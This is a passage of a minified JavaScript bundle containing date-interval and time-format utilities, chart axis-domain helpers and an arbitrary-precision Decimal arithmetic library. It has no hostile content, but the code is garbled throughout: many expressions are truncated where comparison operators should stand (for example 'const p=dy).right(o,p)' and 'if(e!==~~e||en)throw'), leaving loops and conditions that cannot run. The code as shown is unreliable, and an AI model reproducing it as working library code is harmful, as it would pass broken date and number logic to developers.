Sr=1e3,Pn=Sr*60,Cr=Pn*60,Dr=Cr*24,x0=Dr*7,ab=Dr*30,gm=Dr*365,Xi=gt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*Sr)},(e,t)=>(t-e)/Sr,e=>e.getUTCSeconds());Xi.range;const v0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getMinutes());v0.range;const g0=gt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getUTCMinutes());g0.range;const y0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr-e.getMinutes()*Pn)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getHours());y0.range;const b0=gt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getUTCHours());b0.range;const pl=gt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*Pn)/Dr,e=>e.getDate()-1);pl.range;const Xd=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>e.getUTCDate()-1);Xd.range;const d4=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>Math.floor(e/Dr));d4.range;function ya(e){return gt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*Pn)/x0)}const Zd=ya(0),Ou=ya(1),WL=ya(2),UL=ya(3),us=ya(4),VL=ya(5),HL=ya(6);Zd.range;Ou.range;WL.range;UL.range;us.range;VL.range;HL.range;function ba(e){return gt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/x0)}const Qd=ba(0),Tu=ba(1),KL=ba(2),YL=ba(3),ds=ba(4),qL=ba(5),GL=ba(6);Qd.range;Tu.range;KL.range;YL.range;ds.range;qL.range;GL.range;const w0=gt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());w0.range;const j0=gt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());j0.range;const Rr=gt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());Rr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});Rr.range;const $r=gt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());$r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});$r.range;function f4(e,t,n,r,i,s){const o=[[Xi,1,Sr],[Xi,5,5*Sr],[Xi,15,15*Sr],[Xi,30,30*Sr],[s,1,Pn],[s,5,5*Pn],[s,15,15*Pn],[s,30,30*Pn],[i,1,Cr],[i,3,3*Cr],[i,6,6*Cr],[i,12,12*Cr],[r,1,Dr],[r,2,2*Dr],[n,1,x0],[t,1,ab],[t,3,3*ab],[e,1,gm]];function l(u,d,f){const p=dy).right(o,p);if(h===o.length)return e.every(fh(u/gm,d/gm,f));if(h===0)return Au.every(Math.max(fh(u,d,f),1));const[x,g]=o[p/o[h-1][2]53)return null;"w"in F||(F.w=1),"Z"in F?(be=bm(Hs(F.y,0,1)),ke=be.getUTCDay(),be=ke>4||ke===0?Tu.ceil(be):Tu(be),be=Xd.offset(be,(F.V-1)*7),F.y=be.getUTCFullYear(),F.m=be.getUTCMonth(),F.d=be.getUTCDate()+(F.w+6)%7):(be=ym(Hs(F.y,0,1)),ke=be.getDay(),be=ke>4||ke===0?Ou.ceil(be):Ou(be),be=pl.offset(be,(F.V-1)*7),F.y=be.getFullYear(),F.m=be.getMonth(),F.d=be.getDate()+(F.w+6)%7)}else("W"in F||"U"in F)&&("w"in F||(F.w="u"in F?F.u%7:"W"in F?1:0),ke="Z"in F?bm(Hs(F.y,0,1)).getUTCDay():ym(Hs(F.y,0,1)).getDay(),F.m=0,F.d="W"in F?(F.w+6)%7+F.W*7-(ke+5)%7:F.w+F.U*7-(ke+6)%7);return"Z"in F?(F.H+=F.Z/100|0,F.M+=F.Z%100,bm(F)):ym(F)}}function S(C,Y,re,F){for(var se=0,be=Y.length,ke=re.length,Ae,I;se=ke)return-1;if(Ae=Y.charCodeAt(se++),Ae===37){if(Ae=Y.charAt(se++),I=N[Ae in sb?Y.charAt(se++):Ae],!I||(F=I(C,re,F))<0)return-1}else if(Ae!=re.charCodeAt(F++))return-1}return F}function A(C,Y,re){var F=u.exec(Y.slice(re));return F?(C.p=d.get(F[0].toLowerCase()),re+F[0].length):-1}function _(C,Y,re){var F=h.exec(Y.slice(re));return F?(C.w=x.get(F[0].toLowerCase()),re+F[0].length):-1}function O(C,Y,re){var F=f.exec(Y.slice(re));return F?(C.w=p.get(F[0].toLowerCase()),re+F[0].length):-1}function P(C,Y,re){var F=v.exec(Y.slice(re));return F?(C.m=b.get(F[0].toLowerCase()),re+F[0].length):-1}function D(C,Y,re){var F=g.exec(Y.slice(re));return F?(C.m=y.get(F[0].toLowerCase()),re+F[0].length):-1}function V(C,Y,re){return S(C,t,Y,re)}function R(C,Y,re){return S(C,n,Y,re)}function M(C,Y,re){return S(C,r,Y,re)}function W(C){return o[C.getDay()]}function $(C){return s[C.getDay()]}function U(C){return c[C.getMonth()]}function B(C){return l[C.getMonth()]}function K(C){return i[+(C.getHours()>=12)]}function Z(C){return 1+~~(C.getMonth()/3)}function le(C){return o[C.getUTCDay()]}function de(C){return s[C.getUTCDay()]}function we(C){return c[C.getUTCMonth()]}function ye(C){return l[C.getUTCMonth()]}function G(C){return i[+(C.getUTCHours()>=12)]}function te(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var Y=k(C+="",w);return Y.toString=function(){return C},Y},parse:function(C){var Y=z(C+="",!1);return Y.toString=function(){return C},Y},utcFormat:function(C){var Y=k(C+="",j);return Y.toString=function(){return C},Y},utcParse:function(C){var Y=z(C+="",!0);return Y.toString=function(){return C},Y}}}var sb={"-":"",_:" ",0:"0"},zt=/^\s*\d+/,t7=/^%/,n7=/[\\^$*+?|[\]().{}]/g;function _e(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",s=i.length;return r+(s[t.toLowerCase(),n]))}function i7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function a7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function s7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function o7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function l7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function ob(e,t,n){var r=zt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function lb(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function c7(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function u7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function d7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function cb(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function f7(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function ub(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function m7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function p7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function h7(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function x7(e,t,n){var r=zt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function v7(e,t,n){var r=t7.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function g7(e,t,n){var r=zt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function y7(e,t,n){var r=zt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function db(e,t){return _e(e.getDate(),t,2)}function b7(e,t){return _e(e.getHours(),t,2)}function w7(e,t){return _e(e.getHours()%12||12,t,2)}function j7(e,t){return _e(1+pl.count(Rr(e),e),t,3)}function m4(e,t){return _e(e.getMilliseconds(),t,3)}function N7(e,t){return m4(e,t)+"000"}function k7(e,t){return _e(e.getMonth()+1,t,2)}function z7(e,t){return _e(e.getMinutes(),t,2)}function S7(e,t){return _e(e.getSeconds(),t,2)}function C7(e){var t=e.getDay();return t===0?7:t}function P7(e,t){return _e(Zd.count(Rr(e)-1,e),t,2)}function p4(e){var t=e.getDay();return t>=4||t===0?us(e):us.ceil(e)}function E7(e,t){return e=p4(e),_e(us.count(Rr(e),e)+(Rr(e).getDay()===4),t,2)}function _7(e){return e.getDay()}function A7(e,t){return _e(Ou.count(Rr(e)-1,e),t,2)}function O7(e,t){return _e(e.getFullYear()%100,t,2)}function T7(e,t){return e=p4(e),_e(e.getFullYear()%100,t,2)}function M7(e,t){return _e(e.getFullYear()%1e4,t,4)}function L7(e,t){var n=e.getDay();return e=n>=4||n===0?us(e):us.ceil(e),_e(e.getFullYear()%1e4,t,4)}function I7(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+_e(t/60|0,"0",2)+_e(t%60,"0",2)}function fb(e,t){return _e(e.getUTCDate(),t,2)}function D7(e,t){return _e(e.getUTCHours(),t,2)}function R7(e,t){return _e(e.getUTCHours()%12||12,t,2)}function $7(e,t){return _e(1+Xd.count($r(e),e),t,3)}function h4(e,t){return _e(e.getUTCMilliseconds(),t,3)}function B7(e,t){return h4(e,t)+"000"}function F7(e,t){return _e(e.getUTCMonth()+1,t,2)}function W7(e,t){return _e(e.getUTCMinutes(),t,2)}function U7(e,t){return _e(e.getUTCSeconds(),t,2)}function V7(e){var t=e.getUTCDay();return t===0?7:t}function H7(e,t){return _e(Qd.count($r(e)-1,e),t,2)}function x4(e){var t=e.getUTCDay();return t>=4||t===0?ds(e):ds.ceil(e)}function K7(e,t){return e=x4(e),_e(ds.count($r(e),e)+($r(e).getUTCDay()===4),t,2)}function Y7(e){return e.getUTCDay()}function q7(e,t){return _e(Tu.count($r(e)-1,e),t,2)}function G7(e,t){return _e(e.getUTCFullYear()%100,t,2)}function X7(e,t){return e=x4(e),_e(e.getUTCFullYear()%100,t,2)}function Z7(e,t){return _e(e.getUTCFullYear()%1e4,t,4)}function Q7(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ds(e):ds.ceil(e),_e(e.getUTCFullYear()%1e4,t,4)}function J7(){return"+0000"}function mb(){return"%"}function pb(e){return+e}function hb(e){return Math.floor(+e/1e3)}var Na,v4,g4;eI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function eI(e){return Na=e7(e),v4=Na.format,Na.parse,g4=Na.utcFormat,Na.utcParse,Na}function tI(e){return new Date(e)}function nI(e){return e instanceof Date?+e:+new Date(+e)}function N0(e,t,n,r,i,s,o,l,c,u){var d=c0(),f=d.invert,p=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function N(k){return(c(k)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,s)=>V8(e,s/r))},n.copy=function(){return j4(t).domain(e)},Yr.apply(n,arguments)}function ef(){var e=0,t=.5,n=1,r=1,i,s,o,l,c,u=Ft,d,f=!1,p;function h(g){return isNaN(g=+g)?p:(g=.5+((g=+d(g))-s)*(r*ge.chartData,tf=L([qr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),S4=(e,t,n,r)=>r?tf(e):qr(e),oI=(e,t,n)=>n?tf(e):qr(e);function Br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(Ee(t)&&Ee(n))return!0}return!1}function xb(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function C4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,s;if(Ee(n))i=n;else if(typeof n=="function")return;if(Ee(r))s=r;else if(typeof r=="function")return;var o=[i,s];if(Br(o))return o}}function lI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Br(r))return xb(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,s]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ge(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&My.test(i)){var c=My.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(s==="auto")t!=null&&(l=Math.max(...t));else if(ge(s))l=s;else if(typeof s=="function")try{t!=null&&(l=s(t==null?void 0:t[1]))}catch{}else if(typeof s=="string"&&Ly.test(s)){var d=Ly.exec(s);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var p=[o,l];if(Br(p))return t==null?p:xb(p,t,n)}}}var js=1e9,cI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},C0,Ye=!0,Tn="[DecimalError] ",ta=Tn+"Invalid argument: ",S0=Tn+"Exponent out of range: ",Ns=Math.floor,Ui=Math.pow,uI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,ln,wt=1e7,We=7,P4=9007199254740991,Mu=Ns(P4/We),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,s=this;if(e=new s.constructor(e),s.s!==e.s)return s.s||-e.s;if(s.e!==e.e)return s.e>e.e^s.s<0?1:-1;for(r=s.d.length,i=e.d.length,t=0,n=re.d[t]^s.s<0?1:-1;return r===i?0:r>i^s.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*We;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return Er(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return Ie(Er(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return ft(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,s=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(ln))throw Error(Tn+"NaN");if(n.s<1)throw Error(Tn+(n.s?"NaN":"-Infinity"));return n.eq(ln)?new r(0):(Ye=!1,t=Er(Xo(n,s),Xo(e,s),s),Ye=!0,Ie(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?A4(t,e):E4(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Tn+"NaN");return n.s?(Ye=!1,t=Er(n,e,0,1).times(e),Ye=!0,n.minus(t)):Ie(new r(n),i)};pe.naturalExponential=pe.exp=function(){return _4(this)};pe.naturalLogarithm=pe.ln=function(){return Xo(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?E4(t,e):A4(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(ta+e);if(t=ft(i)+1,r=i.d.length-1,n=r*We+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,s,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Tn+"NaN")}for(e=ft(l),Ye=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=lr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=Ns((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(s=r,r=s.plus(Er(l,s,o+2)).times(.5),lr(s.d).slice(0,o)===(t=lr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ie(s,n+1,0),s.times(s).eq(l)){r=s;break}}else if(t!="9999")break;o+=4}return Ye=!0,Ie(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,s,o,l,c,u,d=this,f=d.constructor,p=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=p.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=s[i]+h[r]*p[i-r-1]+t,s[i--]=l%wt|0,t=l/wt|0;s[i]=(s[i]+t)%wt|0}for(;!s[--o];)s.pop();return t?++n:s.shift(),e.d=s,e.e=n,Ye?Ie(e,f.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(mr(e,0,js),t===void 0?t=r.rounding:mr(t,0,8),Ie(n,e+ft(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ha(r,!0):(mr(e,0,js),t===void 0?t=i.rounding:mr(t,0,8),r=Ie(new i(r),e+1,t),n=ha(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?ha(i):(mr(e,0,js),t===void 0?t=s.rounding:mr(t,0,8),r=Ie(new s(i),e+ft(i)+1,t),n=ha(r.abs(),!1,e+ft(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return Ie(new t(e),ft(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,s,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(ln);if(l=new c(l),!l.s){if(e.s<1)throw Error(Tn+"Infinity");return l}if(l.eq(ln))return l;if(r=c.precision,e.eq(ln))return Ie(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,s=l.s,o){if((n=d<0?-d:d)<=P4){for(i=new c(ln),t=Math.ceil(r/We+4),Ye=!1;n%2&&(i=i.times(l),gb(i.d,t)),n=Ns(n/2),n!==0;)l=l.times(l),gb(l.d,t);return Ye=!0,e.s<0?new c(ln).div(i):Ie(i,r)}}else if(s<0)throw Error(Tn+"NaN");return s=s<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Ye=!1,i=e.times(Xo(l,r+u)),Ye=!0,i=_4(i),i.s=s,i};pe.toPrecision=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?(n=ft(i),r=ha(i,n<=s.toExpNeg||n>=s.toExpPos)):(mr(e,1,js),t===void 0?t=s.rounding:mr(t,0,8),i=Ie(new s(i),e,t),n=ft(i),r=ha(i,e<=n||n<=s.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(mr(e,1,js),t===void 0?t=r.rounding:mr(t,0,8)),Ie(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ft(e),n=e.constructor;return ha(e,t<=n.toExpNeg||t>=n.toExpPos)};function E4(e,t){var n,r,i,s,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Ye?Ie(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),s=o-i,s){for(s<0?(r=c,s=-s,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/We),l=o>l?o+1:l+1,s>l&&(s=l,r.length=1),r.reverse();s--;)r.push(0);r.reverse()}for(l=c.length,s=u.length,l-s<0&&(s=l,r=u,u=c,c=r),n=0;s;)n=(c[--s]=c[s]+u[s]+n)/wt|0,c[s]%=wt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Ye?Ie(t,f):t}function mr(e,t,n){if(e!==~~e||en)throw Error(ta+e)}function lr(e){var t,n,r,i=e.length-1,s="",o=e[0];if(i>0){for(s+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,s){for(var o=0;s--;)r[s]-=o,o=r[s]1;)r.shift()}return function(r,i,s,o){var l,c,u,d,f,p,h,x,g,y,v,b,w,j,N,k,z,S,A=r.constructor,_=r.s==i.s?1:-1,O=r.d,P=i.d;if(!r.s)return new A(r);if(!i.s)throw Error(Tn+"Division by zero");for(c=r.e-i.e,z=P.length,N=O.length,h=new A(_),x=h.d=[],u=0;P[u]==(O[u]||0);)++u;if(P[u]>(O[u]||0)&&--c,s==null?b=s=A.precision:o?b=s+(ft(r)-ft(i))+1:b=s,b<0)return new A(0);if(b=b/We+2|0,u=0,z==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),O=e(O,d),z=P.length,N=O.length),j=z,g=O.slice(0,z),y=g.length;y=wt/2&&++k;do d=0,l=t(P,g,z,y),l<0?(v=g[0],z!=y&&(v=v*wt+(g[1]||0)),d=v/k|0,d>1?(d>=wt&&(d=wt-1),f=e(P,d),p=f.length,y=g.length,l=t(f,g,p,y),l==1&&(d--,n(f,z16)throw Error(S0+ft(e));if(!e.s)return new d(ln);for(Ye=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ui(2,u))/Math.LN10*2+5|0,l+=r,n=i=s=new d(ln),d.precision=l;;){if(i=Ie(i.times(e),l),n=n.times(++c),o=s.plus(Er(i,n,l)),lr(o.d).slice(0,l)===lr(s.d).slice(0,l)){for(;u--;)s=Ie(s.times(s),l);return d.precision=f,t==null?(Ye=!0,Ie(s,f)):s}s=o}}function ft(e){for(var t=e.e*We,n=e.d[0];n>=10;n/=10)t++;return t}function wm(e,t,n){if(t>e.LN10.sd())throw Ye=!0,n&&(e.precision=n),Error(Tn+"LN10 precision limit exceeded");return Ie(new e(e.LN10),t)}function ri(e){for(var t="";e--;)t+="0";return t}function Xo(e,t){var n,r,i,s,o,l,c,u,d,f=1,p=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Tn+(h.s?"NaN":"-Infinity"));if(h.eq(ln))return new g(0);if(t==null?(Ye=!1,u=y):u=t,h.eq(10))return t==null&&(Ye=!0),wm(g,u);if(u+=p,g.precision=u,n=lr(x),r=n.charAt(0),s=ft(h),Math.abs(s)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=lr(h.d),r=n.charAt(0),f++;s=ft(h),r>1?(h=new g("0."+n),s++):h=new g(r+"."+n.slice(1))}else return c=wm(g,u+2,y).times(s+""),h=Xo(new g(r+"."+n.slice(1)),u-p).plus(c),g.precision=y,t==null?(Ye=!0,Ie(h,y)):h;for(l=o=h=Er(h.minus(ln),h.plus(ln),u),d=Ie(h.times(h),u),i=3;;){if(o=Ie(o.times(d),u),c=l.plus(Er(o,new g(i),u)),lr(c.d).slice(0,u)===lr(l.d).slice(0,u))return l=l.times(2),s!==0&&(l=l.plus(wm(g,u+2,y).times(s+""))),l=Er(l,new g(f),u),g.precision=y,t==null?(Ye=!0,Ie(l,y)):l;l=c,i+=2}}function vb(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=Ns(n/We),e.d=[],r=(n+1)%We,n<0&&(r+=We),rMu||e.e<-Mu))throw Error(S0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ie(e,t,n){var r,i,s,o,l,c,u,d,f=e.d;for(o=1,s=f[0];s>=10;s/=10)o++;if(r=t-o,r<0)r+=We,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/We),s=f.length,d>=s)return e;for(u=s=f[d],o=1;s>=10;s/=10)o++;r%=We,i=r-We+o}if(n!==void 0&&(s=Ui(10,o-i-1),l=u/s%10|0,c=t<0||f[d+1]!==void 0||u%s,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ui(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(s=ft(e),f.length=1,t=t-s-1,f[0]=Ui(10,(We-t%We)%We),e.e=Ns(-t/We)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,s=1,d--):(f.length=d+1,s=Ui(10,We-r),f[d]=i>0?(u/Ui(10,o-i)%Ui(10,i)|0)*s:0),c)for(;;)if(d==0){(f[0]+=s)==wt&&(f[0]=1,++e.e);break}else{if(f[d]+=s,f[d]!=wt)break;f[d--]=0,s=1}for(r=f.length;f[--r]===0;)f.pop();if(Ye&&(e.e>Mu||e.e<-Mu))throw Error(S0+ft(e));return e}function A4(e,t){var n,r,i,s,o,l,c,u,d,f,p=e.constructor,h=p.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new p(e),Ye?Ie(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/We),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?s=s.charAt(0)+"."+s.slice(1)+ri(r):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(i<0?"e":"e+")+i):i<0?(s="0."+ri(-i-1)+s,n&&(r=n-o)>0&&(s+=ri(r))):i>=o?(s+=ri(i+1-o),n&&(r=n-i-1)>0&&(s=s+"."+ri(r))):((r=i+1)0&&(i+1===o&&(s+="."),s+=ri(r))),e.s<0?"-"+s:s}function gb(e,t){if(e.length>t)return e.length=t,!0}function O4(e){var t,n,r;function i(s){var o=this;if(!(o instanceof i))return new i(s);if(o.constructor=i,s instanceof i){o.s=s.s,o.e=s.e,o.d=(s=s.d)?s.slice():s;return}if(typeof s=="number"){if(s*0!==0)throw Error(ta+s);if(s>0)o.s=1;else 